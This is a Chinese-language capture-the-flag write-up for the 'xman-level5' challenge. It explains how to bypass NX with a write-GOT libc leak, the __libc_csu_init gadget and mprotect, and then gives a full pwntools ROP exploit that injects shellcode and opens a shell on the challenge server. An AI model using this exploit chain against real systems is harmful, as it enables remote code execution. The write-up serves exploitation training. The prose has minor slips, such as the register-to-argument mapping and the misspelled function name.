xman-level5
题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题
无法用system和execve函数,只能通过shellcode来进行getshell。
但是开了NX保护。不可以执行shellcode
但是题目给了提示使用mmap函数和mprotect。
我们可以使用mprotect 函数,将bss段改为可执行权限,并且将shellcode写在段上。
思路如下:
使用write函数泄露出write的got表地址,通过给定的libc计算出mprotect的偏移,最后通过mprotect函数改变bss段执行权限,将shellcode写入bss段 并执行
但是出现了一点问题没有找到有关pop rdx的操作,需要用到第三个参数的函数有3个,read和write函数使用劫持的前一个read函数的第三个参数0x200即可,而mmap第三个参数是用来修改权限用的。
但我们可以利用一下x64下的__libc_scu_init中的操作,这个函数是用来对libc进行初始化操作的,一般的程序都会去调用libc函数,在其中找到有关于rdx操作的关键部分
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
通过r13赋值给第三个参数 r14赋值给第二个参数 r15赋值给第三个参数
我们只需要控制r13,r14,15这三个参数的值即可
一下就找到了
参数设置好之后后面有一个call,这个call取的是一个地址里的值并进行跳转,所以我们需要将mprotect地址也写在bss段 call这个bss段即可跳转到mprotect
接着设置寄存器rbx为0,rbp为参数1避免执行多次函数,寄存器控制完毕。下面的rbx,rbp的操作正好在4006AA处有,恰好与r13,r14,r15重合
正好执行4006AA处的操作一次性执行即可
EXP如下
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p=process('./level3_x64')
p=remote('pwn2.jarvisoj.com','9884')
libc=ELF('./libc-2.19.so')
elf=ELF('./level3_x64')
context.log_level='debug'
bss_addr=elf.bss()
print hex(bss_addr)
retn_addr=elf.symbols['vulnerable_function']
pop_rdi_retn=0x4006b3
pop_rsi_r15_retn=0x4006b1
rop_chain=0x4006AA
mp_start=0x400690
###leak the wrire got to get mprotect_address
p.recvuntil('Input:\n')
payload='A'*0x88
payload+=p64(pop_rdi_retn)
payload+=p64(1)
payload+=p64(pop_rsi_r15_retn)
payload+=p64(elf.got['write'])
payload+=p64(0xdeadbeef)
payload+=p64(elf.plt['write'])
payload+=p64(retn_addr)
p.send(payload)
write_addr=u64(p.recv(8))
print hex(write_addr)
libc_base=write_addr-libc.symbols['write']
mprotect_addr=libc_base+libc.symbols['mprotect']
print hex(mprotect_addr)
#gdb.attach(p)
##write shellcode and mprotect_add to bss
p.recvuntil('Input:\n')
payload2='A'*0x88
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh(),arch='amd64')
print len(shellcode)
payload2+=p64(pop_rdi_retn)
payload2+=p64(0)
payload2+=p64(pop_rsi_r15_retn)
payload2+=p64(bss_addr)
payload2+=p64(0xdeadbeef)
payload2+=p64(elf.plt['read'])
payload2+=p64(retn_addr)
p.send(payload2)
sleep(2)
#gdb.attach(p)
p.send(shellcode)
##mprotect
p.recvuntil('Input:\n')
payload3='A'*0x88
payload3+=p64(rop_chain)#rbx,rbp,r12,r13.r14,r15
payload3+=p64(0)
payload3+=p64(1)
payload3+=p64(bss_addr)
payload3+=p64(7)+p64(0x1000)+p64(0x600000)
payload3+=p64(mp_start)
payload3+='A'*56
payload3+=p64(bss_addr+8)
p.sendline(payload3)
p.interactive()